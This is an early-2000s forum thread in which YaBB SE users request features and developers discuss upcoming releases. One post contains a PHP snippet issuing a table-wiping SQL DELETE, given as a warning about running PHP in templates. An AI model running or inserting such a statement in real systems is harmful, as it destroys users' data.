Post by: kurgan on April 02, 2002, 05:41:31 AM
is it just me or is there no upgraded.php i sight*?!!!?!?!??  >:( >:( >:( >:( >:( >:( >:( >:(
Title: Re:SE Future...
Post by: kurgan on April 02, 2002, 06:01:33 AM
ok Im blind, or stupid... found the upgrade zip...  :D
Title: Re:SE Future...
Post by: dwp on April 06, 2002, 03:58:17 PM
Yeah...make better coloring system in this software, stright choices like in wBB, and not this systems where some bgcolor2 change half boards all colors, and this change in 2 places is stupid, why can it not be made so all colors are changable in one place. Would make this software more popular.
Title: Re:SE Future...
Post by: Jeff Lewis on April 06, 2002, 05:20:18 PM
Agreed :)  We just ported the old style for now but DO look for that to change for SURE.
Title: Re:SE Future...
Post by: Shaylanna on June 15, 2002, 03:00:01 AM
Coming from a Vbulletin forum to YaBB I was disappointed to find no import feature.  Losing all the posts from the old forum is going to hurt, and I don't have time to individually repost all of them.
Title: Re:SE Future...
Post by: groundup on June 18, 2002, 02:17:36 PM
welp.. we are looking for people to write converters.
Title: Re:SE Future...
Post by: Shindou Hikaru on June 19, 2002, 05:33:10 AM
I have been working on a vB member converter. But since vB uses the 1-way md5 encryption, it took my little script about 10 minutes to crack one member's password and revert it to yabbse crypt. So it is probably stupid to use it with 100+ members.
Title: Re:SE Future...
Post by: Jedi~ on June 19, 2002, 08:55:36 AM
Ok, let me ask you a question then, coming from a vBulliten, what features does it have that YaBBSE doesn't? I've been trying to get a computer support forum to switch to YaBBSE, but they are still thinking about vBulliten, I told them that any major differences I could make up with a custom mod for them.. so any idea on my work load would be nice :) :P
Title: Re:SE Future...
Post by: MI Zombie on June 19, 2002, 03:58:59 PM
Without trying to sound totally dumb what is post nuke and what good is it?


The only thing I can think of is the creating a mod for PostNuke.....

Other than that, I'd say this was perfect.....
Title: Re:SE Future...
Post by: groundup on June 19, 2002, 04:19:09 PM
mephid.. why not just do what every other converter is going to do (for the most part) and just re-email the passwords to people?
Title: Re:SE Future...
Post by: David on June 20, 2002, 12:25:12 AM

I have been working on a vB member converter. But since vB uses the 1-way md5 encryption, it took my little script about 10 minutes to crack one member's password and revert it to yabbse crypt. So it is probably stupid to use it with 100+ members.

Why not just have it send random passwords to all the members?
Title: Re:SE Future...
Post by: Shindou Hikaru on June 20, 2002, 03:17:33 AM
I guess that would be a good idea. Accept that a lot of boards have dead members or members with fake email addresses. But I don't have that much time to work on a converter since I am very busy with se2. FOr anyone that is planning to write a converter, hold on until after yse2. I can assure you, there is a lot in stock for it.
Title: Re:SE Future...
Post by: Wiziwig on June 23, 2002, 01:11:44 PM

Well, we're naturally going to tackle the remaining bugs and things like that but what else do you want to see to take YaBB to the next level?

Was there something about another forum you liked or thought would be good for YaBB?

I went through the registrations today and we've got most requests in here now but only a few remain...



Most everyone here are giving great ideas on improvements based on what the sysadmin desires for features, but hardly any user feature improvements. Yabb's profile feature was a great start but seems to be lacking. How about adding additional customizable data fields into the profiles, such as user interests, hobbys ect. And /also customizable series of questionaires/surveys the user can fill out in the profile. Many of the more robust web sites have these such features that are highly attractive to special interest groups. I can invision where the survey questions and interest essay questions can be customized in the admin control center and also can be disabled/enabled in the same control center. Anyone of the more experienced coders up for the challenge of developing say a 3 essay/10 questionaire profile enhancement that is customizable/enabled-disabled through the control center?
Title: Re:SE Future...
Post by: Shaylanna on June 27, 2002, 12:09:28 AM
I don't care about importing the members, their passwords and all that crap.  I just want to import he actual posts.

VBulletin managed to import all the posts from EZboard with a simple email to a VB support person.  It took them about 1 hour to do it all for us.
Title: Re:SE Future...
Post by: Ben_S on June 27, 2002, 10:19:49 AM
Vb costs a lot more than YSE though so they have more of an incentive to create custom converters for you...

eek sorry bout the multipul posts was just getting a page with emailed1 on it ant thought it hadnt been posted
Title: Re:SE Future...
Post by: AnalogDuck on July 15, 2002, 11:42:18 PM
Back to what this thread was started about... What about number 3?  Supposedly there was an option in the works for peoples to upload their own avatars.  Has this been scrapped for the URL-link-to-avatar functionality?
Title: Re:SE Future...
Post by: powergen on August 31, 2002, 07:29:28 PM
Any News on SEII ???

I read a wonderful interview at www.Sitepoint.com !!


You have been working on it for a year now !!


WOWW !!

Any anticipation ? Little gossip ? Rumor ?


;D ;D ;D


Title: Re:SE Future...
Post by: Jeff Lewis on August 31, 2002, 07:43:45 PM
Um, where the heck did you read that? SE hasn't even been out a year yet!

It came out in December. YaBB 2 (Perl addition) is the one in development the last year +.
Title: Re:SE Future...
Post by: mediman on August 31, 2002, 10:37:08 PM

Back to what this thread was started about... What about number 3?  Supposedly there was an option in the works for peoples to upload their own avatars.  Has this been scrapped for the URL-link-to-avatar functionality?


the mod is in work!

features: avatars will resized with glib! and during the upload process renames to memberName.jpg/gif/png

if the member upload a new one the old one will overwritten, also if the member upload another filetype!

this mod replaced the "i have own picture" thing in profiles!

mediman
Title: Re:SE Future...
Post by: powergen on September 01, 2002, 05:07:05 PM


heehehe, it appears I read it wrong !!!

;D ;D ;D ;D

Anyway ... for everybody ..... I read it here !


http://www.webmasterbase.com/article/844/24 (http://www.webmasterbase.com/article/844/24)


Sorry Jeff ...  :-X :-X :-\
Title: Re:SE Future...
Post by: PostDeals on September 02, 2002, 06:33:35 PM
Wasnt there a site with yabb portal?

Can someone give me suggestions for www.postdeals.net

thanks
Title: Re:SE Future...
Post by: Daniel D. on September 02, 2002, 06:35:16 PM
http://yapp.phpworld.net
www.eztarch.com
Title: Re:SE Future...
Post by: Upsilon on September 11, 2002, 09:38:41 PM
currently in alpha version but the project has frozen...

www.ttcms.com
Title: Re:SE Future...
Post by: deus on September 13, 2002, 10:37:31 PM
I think there are only 2 things missing in yabbse...

1) Tub forums or sub categies.
For example:

Support
>Customers
 => Dedicated Hosting
             >mesages
 => Shared Hosting
             >mesages
>Non Customers
 => General Questions
             >messages
 => Sales Questions
             >messages
I hope you understand what I mean...

2) On other forums like for example XMB you can give special options for each forum.
For example:

=> Dedicated Hosting ( all can post, all can see, also guests, all can upload atachments)

=> Shared Hosting (only admins can post but all can see)

=> Sales Questions (only user xx1;xx2;xx3 can post)




Title: Re:SE Future...
Post by: phark on September 14, 2002, 10:54:42 AM

currently in alpha version but the project has frozen...

www.ttcms.com


It's been unfrozen now...
Title: Re:SE Future...
Post by: Allan_R on September 22, 2002, 06:19:45 PM
Added ADMIN security! so people dont use another Admins sn and get in!  ::)
Title: Re:SE Future...
Post by: Spaceman-Spiff on September 26, 2002, 07:39:20 PM

Added ADMIN security! so people dont use another Admins sn and get in!  ::)


how did they get the other admin's SN?
wont that be his/her fault for not keeping the login info safe? :P
Title: Re:SE Future...
Post by: jefegrande on September 28, 2002, 01:11:24 AM
Another level would be handy.  One of my moderators brought that up just recently, Discus offers more levels.

quote author=deus link=board=9;threadid=4127;start=570#82375 date=1031974651]
I think there are only 2 things missing in yabbse...

1) Tub forums or sub categies.
For example:

Support
>Customers
 => Dedicated Hosting
             >mesages
 => Shared Hosting
             >mesages
>Non Customers
 => General Questions
             >messages
 => Sales Questions
             >messages
I hope you understand what I mean...

2) On other forums like for example XMB you can give special options for each forum.
For example:

=> Dedicated Hosting ( all can post, all can see, also guests, all can upload atachments)

=> Shared Hosting (only admins can post but all can see)

=> Sales Questions (only user xx1;xx2;xx3 can post)





Quote
Title: Re:SE Future...
Post by: Jeff Lewis on September 30, 2002, 02:20:13 PM
Sub categories AND those advanced levels for board are both completed. Screenshots were posted of the advanced levles somewhere around here :)
Title: Re:SE Future...
Post by: The_ReVenger on October 06, 2002, 03:43:03 PM
May I suggest that you guys clean out this topic, search together all feature suggestions and useful things, but them into the first topicpost and delete the rest of the posts in this topic (or simply start a new one with all suggestions and useful things included into the first post, the rest just washed out). Thanks cuz I can't keep track on this topic anymore. And that is a long time that i can't track it anymore.
Title: Re:SE Future...
Post by: JMusic on October 13, 2002, 11:01:45 AM
1. Subforums
2. The option of changing the template for each forum (instead of having one template for the entire community)
Title: Re:SE Future...
Post by: Overseer on October 14, 2002, 02:50:59 AM
index speedups in the next release would make me go  ;D ;D ;D
Title: Re:SE Future...
Post by: Nemesis on October 14, 2002, 03:35:10 AM
already done. =)

Title: Re:SE Future...
Post by: powergen on October 14, 2002, 05:07:14 AM

Is there a date for all this ?

;D ;D ;D
Title: Re:SE Future...
Post by: groundup on October 14, 2002, 11:50:05 AM
no date.. not even close to setting a date yet
Title: Re:SE Future...
Post by: Jeff Lewis on October 15, 2002, 09:14:27 AM
Some have already been implemented...
Title: Re:SE Future...
Post by: powergen on October 16, 2002, 07:10:15 AM

Yes.

I'm Italian and at www.yabb.it a lot of mods have been added too.

;D

I made some changes to code too in order to add some features for my community ...

::)


But big things as Calendar or Sub-Forums ... man ... you rock !!!

You number 1 !!!

;D :D ;D


Title: Re:SE Future...
Post by: Jeff Lewis on October 16, 2002, 09:08:20 AM
Ok, that post made no sense to me...anyway, some of the feature mentioned here have already been coded for SE 2.
Title: Re:SE Future...
Post by: lbyard on October 17, 2002, 12:29:01 AM
There are some ideas here: http://www.dcscripts.com/dc/dcboard.php.  Larry
Title: Re:SE Future...
Post by: wally2001b on October 19, 2002, 02:48:51 AM
HI !!!

Yabb SE in the future must have a complete languange package and compatibility !!! The support for other languages (non English) must to be perfect....  8)

I hope to be like I want to...
Title: Re:SE Future...
Post by: Matr f Ŧhm on October 20, 2002, 05:33:41 PM
No offense wally but the whole lanuage pack thing shouldn't be a requirement for them to do..... afterall don't you think that they have a life other tnan trying to learn every lanugauge in the world and putting it into a language pack? I have a feeling that's why they implemented language packs so that they would not have to deal with it as much.... There are language packs for download and they are not that hard to make :) any way it's just a thought and I hope I didn't offend anyone  ;)
Title: Re:SE Future...
Post by: Nemesis on October 20, 2002, 08:56:38 PM
We do our best... That's all I can say.  ;)
Title: Re:SE Future...
Post by: PHPlugin on November 02, 2002, 08:03:33 PM
I got a little question:

Will the code in YaBB SE 2 be cleaner,
so that it's more easy to find things?!
Title: Re:SE Future...
Post by: Nemesis on November 02, 2002, 08:12:43 PM
The code for se2 is actually really amazing.  ;D
Title: Re:SE Future...
Post by: PHPlugin on November 02, 2002, 10:27:48 PM
What does that mean in detail?
It's a unbelievable superb code,
or is it a mess? ;D
Title: Re:SE Future...
Post by: Nemesis on November 02, 2002, 10:53:59 PM
give us some credit.  ;)
Title: Re:SE Future...
Post by: powergen on November 03, 2002, 05:04:14 AM
This new code writing is like a COVER UP operations ...

... nobody wants to talk about it ...

:o :o :o ;D ;D ;D
Title: Re:SE Future...
Post by: Shindou Hikaru on November 03, 2002, 07:06:42 AM
See my sig
Title: Re:SE Future...
Post by: powergen on November 03, 2002, 07:15:51 AM
FULL REVERSE !!!

;D ;D ;D
Title: Re:SE Future...
Post by: Mach8 on November 03, 2002, 07:19:40 AM
Hi mum, I'm on TV!!!
Title: Re:SE Future...
Post by: Spaceman-Spiff on November 04, 2002, 08:02:48 PM
where's the camera?!? :o :o
where's the camera?!? ::) :o ::)
Title: Re:SE Future...
Post by: David on November 05, 2002, 12:55:43 PM
I don't find this code all that bad.  Yes it could be cleaner but I have seen much much worse.  Such as Modernbill, when they need html output they close the php tags.
Title: Re:SE Future...
Post by: Spaceman-Spiff on November 06, 2002, 03:17:54 AM
it is one way to do it
its not a bad thing, is it?
i've seen it done lots in JSP codes
Title: Re:SE Future...
Post by: k1ro on November 06, 2002, 09:40:56 AM
It would be great if YaBB would offer a RPG Mod like they have->
http://www.anime-keep.org/forum/main.php
Title: Re:SE Future...
Post by: Wizzard on November 07, 2002, 05:52:06 PM
Update the skinning engline! Like, no offence, but Invision Board is 1000x more cuztomizable than this YaBB SE when it comes to skins and stuff.
Title: Re:SE Future...
Post by: Nemesis on November 07, 2002, 05:59:31 PM
OR you just learn how to work with the files. If you see the new Boardmod Se site I am working on you be like wow. This is YaBB SE 1.4.1? No way....

Anyways back to the point SE 2 will have a better template system.
Title: Re:SE Future...
Post by: Spaceman-Spiff on November 07, 2002, 07:15:17 PM

It would be great if YaBB would offer a RPG Mod like they have->
http://www.anime-keep.org/forum/main.php


that is a really cool RPG mod :)
Title: Re:SE Future...
Post by: Omar Bazavilvazo on November 07, 2002, 07:37:03 PM

It would be great if YaBB would offer a RPG Mod like they have->
http://www.anime-keep.org/forum/main.php


Well, that kind of mods are offered and created by the community (you ppl), not for YSE (or any forum) developers...

So, u can code urself.. in the mods section is a RPG mod also...
Title: Re:SE Future...
Post by: Jeff Lewis on November 08, 2002, 09:39:29 AM

Update the skinning engline! Like, no offence, but Invision Board is 1000x more cuztomizable than this YaBB SE when it comes to skins and stuff.


I don't know how accurate that is, we've had plenty of people ceom from IBF and phpBB and say that they came BECAUSE of the template system YaBB uses...
Title: Re:SE Future...
Post by: chris on November 08, 2002, 10:58:06 AM
Quote
I don't know how accurate that is, we've had plenty of people ceom from IBF and phpBB and say that they came BECAUSE of the template system YaBB uses...


besides.... there is really no point in giving users the opportunity to customize everything... 99,99999% percent of all users are only changing graphics/colors.... and only the rest makes bigger changes to the layout....

i mean... i know a board-software that uses more than 200 template-files....  !!!?? totally useless.... IMHO ... it's just confusing....
Title: Re:SE Future...
Post by: Shindou Hikaru on November 08, 2002, 01:17:11 PM

i mean... i know a board-software that uses more than 200 template-files....  !!!?? totally useless.... IMHO ... it's just confusing....


I get what you mean. Mainly, changing the stylesheet should be enough.
Title: Re:SE Future...
Post by: Spaceman-Spiff on November 09, 2002, 06:42:52 AM
for YSE2 devs: dont forget the easter eggs... ;D
Title: Re:SE Future...
Post by: PHPlugin on November 10, 2002, 06:25:24 PM
yeah!

Many red onesss and greeen onesss and blue onesss! ;D
Title: Re:SE Future...
Post by: Brad on November 12, 2002, 01:14:49 PM
Yes but it would be nice to have a system that allows a person with limited knowledge of coding to customize his or hers boards to look and match the rest of their site.  I am anxiously awaiting Yabbse 2.0 because I find that I'm limited as to how I want my boards to look like with the current setup.   :)


Quote
I don't know how accurate that is, we've had plenty of people ceom from IBF and phpBB and say that they came BECAUSE of the template system YaBB uses...


besides.... there is really no point in giving users the opportunity to customize everything... 99,99999% percent of all users are only changing graphics/colors.... and only the rest makes bigger changes to the layout....

i mean... i know a board-software that uses more than 200 template-files....  !!!?? totally useless.... IMHO ... it's just confusing....
Title: Re:SE Future...
Post by: Pitch on November 14, 2002, 03:53:27 AM
I'm missing the following features in YaBB:

-As much Usergroups, as I want.

-A feature which automatically moves every thread, where nobody has posted in a given amount of days

-perhaps own graphics for every category

-upload feature for avatars

-resize of avatars, preserving the proportions

-user-defined infos in member list

-guestbook in userprofile (nickpage style)

-userdefined fields in userprofile (add more infos and templates for the userprofiles)

-forwarding adress ability for the user profiles (www.myserver.com/u/pitch for example)
Title: Re:SE Future...
Post by: queks on November 14, 2002, 11:14:02 PM
i hope to see more admin function. Such as :
- Split thread (ava. in one of the mod)
- Able to sort and compare IP (to catch some stupid guy with multiple nick from posting rubbish)
- Able to have more flexibility in delete or compress old thread (able to choose categories and date to filter, similar to search)
- a chatroom function that access the same database as the forum. Able to tell who is in the chatroom.

All the above are just my hope  ;D
Title: Re:SE Future...
Post by: Mach8 on November 15, 2002, 02:03:03 PM

- Split thread (ava. in one of the mod)

I've already made this.
Title: Re:SE Future...
Post by: Matr f Ŧhm on November 15, 2002, 11:31:29 PM
I've already made this.
I'm not sure but I think that's what he meant by this

(ava. in one of the mod)

Title: Re:SE Future...
Post by: Mach8 on November 16, 2002, 06:31:02 AM
His 2nd and 4th request are also available at this time.
Title: Re:SE Future...
Post by: Matr f Ŧhm on November 16, 2002, 01:16:40 PM
sweet ;D
Title: Re:SE Future...
Post by: luisr on December 07, 2002, 03:20:35 PM
What about the next release?  1.5 or 2.0?  When will it be out?
Title: Re:SE Future...
Post by: Jeff Lewis on December 07, 2002, 03:27:23 PM
We're currently working on a 1.5 which is incorporating significant speed advances. At the same time, development continues on the next major release.

I'd expect the 1.5 version before the new year.
Title: Re:SE Future...
Post by: skoen on December 08, 2002, 05:23:43 AM
Let's hope that they will keep the language files still in one file. And, how about me getting the english.lng for version 1.5, so I can make a Norwegian translation of it, just so I can get my translation on the download list at last.
Title: Re:SE Future...
Post by: luisr on December 08, 2002, 12:31:43 PM
I am about to move to a new web host (Rochen Host if you ask - won't take one of the special plans but your sponsorship played a big role).  During this move I plan to update my YaBB SE forum to the latest release.

So do you suggest I wait for 1.5?

By the way, during this relocation, can I just transfer the database tables from one place to the other and expect the foum in the new location to work properly?  The existing one is version 1.3.1.
Title: Re:SE Future...
Post by: PioneeR on December 08, 2002, 01:19:22 PM
I moved my 1.3.1 forum over the Rochen too.

Just dumped the database and restored it.

Copied the files over (made sure all were CHMOD'ed right)

Changed the settings (file locations etc).

And was up an running quite quickly.

Upgraded to 1.4.1 (with speedup mod), had to redo quite a few mods (most work fine).

And my board has never run so quick!

Title: Re:SE Future...
Post by: Noel Forbes on December 10, 2002, 05:19:58 PM
in reply to people who wanted php usage in site template editing....

THIS POSES A MAJOR SECURITY RISK... for example, you could type
Code: [Select]
<?PHP
$result = mysql_query("DELETE FROM table_x WHERE id=id");
?>


all gone!
Title: Re:SE Future...
Post by: irbrian on January 02, 2003, 02:27:24 PM
Its no more of a security risk than making HTML pages available to the public on your server, so long as only the administrator is allowed to access template.php! The problem arises if others are able to access the template.php, which should not be the case under any circumstance, unless you are in the habit of allowing people to randomly make changes to your website! ;)
Title: Re:SE Future...
Post by: [Unknown] on January 02, 2003, 02:28:57 PM

Its no more of a security risk than making HTML pages available to the public on your server, so long as only the administrator is allowed to access template.php! The problem arises if others are able to access the template.php, which should not be the case under any circumstance, unless you are in the habit of allowing people to randomly make changes to your website! ;)


Well, the current template.php /does/ allow php code, so it's a moot point...

-[Unknown]
Title: Re:SE Future...
Post by: Ben_S on January 02, 2003, 02:38:47 PM
you could always use template.html
Title: Re:SE Future...
Post by: irbrian on January 02, 2003, 02:44:25 PM
Well, the current template.php /does/ allow php code, so it's a moot point...


I believe thats what Noel was referring to.. not sure how its a moot point.. its certainly a valid concern, I just don't believe its a problem.
Title: Re:SE Future...
Post by: Joseph Fung on January 02, 2003, 10:27:29 PM

you could always use template.html
Because the file is imported into a PHP script, I believe Php code in a .html file will also work.
Title: Re:SE Future...
Post by: groundup on January 03, 2003, 04:50:24 PM


you could always use template.html
Because the file is imported into a PHP script, I believe Php code in a .html file will also work.
yep, almost learned that the hard way :)
Title: My suggestion
Post by: Dr_Michael on January 03, 2003, 05:12:19 PM
My suggestion is this:
I would like when I press the B button, not to insert the {b} tags but to convert directly the selected text to bold. Is it possible? I have seen forum where it was possible to do so.
Title: Re:SE Future...
Post by: yock on January 05, 2003, 01:02:57 PM
The thing I'd love to see in Yabbse is the ability to easily skin the forum.  It looks great on it's own but, like me, I'm sure there are many users out there that the board doesn't match their layout.  The ability to more easily customize it would be awesome.
Title: Re:SE Future...
Post by: PioneeR on January 05, 2003, 01:05:51 PM
Obviously the Magic Llama Mod should be the centre of all future releases of YaBBSE  ;D
Title: Re:SE Future...
Post by: Jedi~ on January 05, 2003, 01:07:04 PM

Obviously the Magic Llama Mod should be the centre of all future releases of YaBBSE  ;D


Oh sheesh ::)
Title: Re:SE Future...
Post by: Chris Cromer on January 05, 2003, 01:07:49 PM
Yeah screw the board give us the llamas. ;)
Title: Re:SE Future...
Post by: PioneeR on January 05, 2003, 01:08:34 PM
Any thoughts of doing a YaPP version?  ;D
Title: Re:SE Future...
Post by: Jedi~ on January 05, 2003, 01:09:49 PM
I just menchioned to Chris that the llamas made me want to do something fun for the YaPP site, but I'm at a loss as to what :-\

Doing the llama thing again would be repetitive I think, plus YaPP doesn't hover around llamas :P
Title: Re:SE Future...
Post by: Chris Cromer on January 05, 2003, 01:10:50 PM
How about monkeys with wings then? ;)
Title: Re:SE Future...
Post by: PioneeR on January 05, 2003, 01:11:14 PM

Doing the llama thing again would be repetitive I think, plus YaPP doesn't hover around llamas :P


Maybe you could concentrate on Guinea pigs instead?  ;D
Title: Re:SE Future...
Post by: Jedi~ on January 05, 2003, 01:11:46 PM
Sometimes I wonder about you Chris.... ;)
Title: Re:SE Future...
Post by: PioneeR on January 05, 2003, 01:12:42 PM
Monkey with wings? Now that would be silly  ;D
Title: Re:SE Future...
Post by: Jedi~ on January 05, 2003, 01:13:06 PM
And guinea pigs wouldn't? ::) :P
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Post by: Joseph Fung on January 05, 2003, 01:14:49 PM

I just menchioned to Chris that the llamas made me want to do something fun for the YaPP site, but I'm at a loss as to what :-\

Doing the llama thing again would be repetitive I think, plus YaPP doesn't hover around llamas :P
How about something that would randomly popup little "Very Happy Un-Birthday" greetings?
Title: Re:SE Future...
Post by: Jedi~ on January 05, 2003, 01:17:12 PM
 ???
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Post by: Jedi~ on January 05, 2003, 01:48:59 PM
Hmm, I've got an idea for now, look for it later today ;)
Title: Re:SE Future...
Post by: kurgan on January 05, 2003, 02:22:55 PM
now not that Im complaining or anything, but I thought the intention after 1.4 was to go straight for 2.0 (portal etc.?)

in any case I have a few wishes ;)   :

#1 Portal

#2 a revised voting/poll system where different types of votings could take place, like for instance point divisions etc.
Title: Re:SE Future...
Post by: Nemesis on January 05, 2003, 02:28:05 PM
Jedi >> Hi!

Kurgan >> that was the intention but afte a few security holes showed up and the requirements from web host now requiring a lot less cpu/bandwidth intensive codes. We had to re-structure the current release to apply to new webhost policy and security fixes to prevent hackers from messing up your boards. YSE2 is still being worked on at the same time.

Title: Re:SE Future...
Post by: Jedi~ on January 05, 2003, 02:34:17 PM
Hi Nemesis, just cause I "Left" doesn't mean I don't check in from time to time ;)
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Post by: Nemesis on January 05, 2003, 02:47:22 PM
you online (icq) right now?
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Post by: Jedi~ on January 05, 2003, 02:48:50 PM
Yup, as always.
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Post by: PostDeals on February 02, 2003, 10:11:06 AM
As long as Yabb is free and have great dedicated people behind it, I am happy. I will also donate some $$$ as soon as my site makes some money, I think CJ.COM is ripping me off I get 20-30k hits a month yet I make like only $4 from Banners which is not right.
Title: Re:SE Future...
Post by: powergen on February 24, 2003, 05:53:27 AM
YSE2 is still being worked on at the same time.

SO YOU ARE WORKING ON IT AFTER ALL!!!!

 :o :o :o

 ;D ;D ;D

HAPPY HAPPY HAPPY !!!


TRINITY !!! WE love YOU !!!

Title: Re:SE Future...
Post by: [Unknown] on February 24, 2003, 07:08:36 PM
???

He was refering to Alice and Wonderland...

-[Unknown]
Title: Re:SE Future...
Post by: -AOA-Zeus on March 09, 2003, 09:17:53 AM
Better than integrate i think we can add portal function to YaBB SE itself :)


full ack!!

something like that will be very nice like u get it with woltlab.
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Post by: -AOA-Zeus on March 14, 2003, 05:03:46 PM
another thing i would acclaim is a download-area, where defined membergroups get access.
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Post by: Spaceman-Spiff on March 16, 2003, 07:30:08 PM
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another thing i would acclaim is a download-area, where defined membergroups get access.
it's not hard to code something like that...
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Post by: Pamela_S on March 21, 2003, 09:37:26 AM
It would be very useful if YabbSE had a feature similar to PHPbb's "topics anywhere". Without a doubt, the forum is the most popular feature of my site. There would be a tremendous value to being able to keep my site's home page updated with the latest activity in the forum.

The merge topic feature is great. However, it would be helpful if there was an indicator (like when you move a thread) to let users know where the thread has been merged to.
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Post by: Chris Cromer on March 21, 2003, 10:10:32 AM
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It would be very useful if YabbSE had a feature similar to PHPbb's "topics anywhere". Without a doubt, the forum is the most popular feature of my site. There would be a tremendous value to being able to keep my site's home page updated with the latest activity in the forum.

Check out "SSI.php". You can do this with those features.
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Post by: Feho on March 25, 2003, 08:18:02 PM
you could include the mod "Add more smilies"
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Post by: av_mossiso on November 24, 2003, 06:35:30 PM
That's what I would like to see. Is it available anywhere?
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Post by: bostasp on November 25, 2003, 09:11:08 PM
you could include the mod "Add more smilies"

I believe that's already intergrated with SMF :p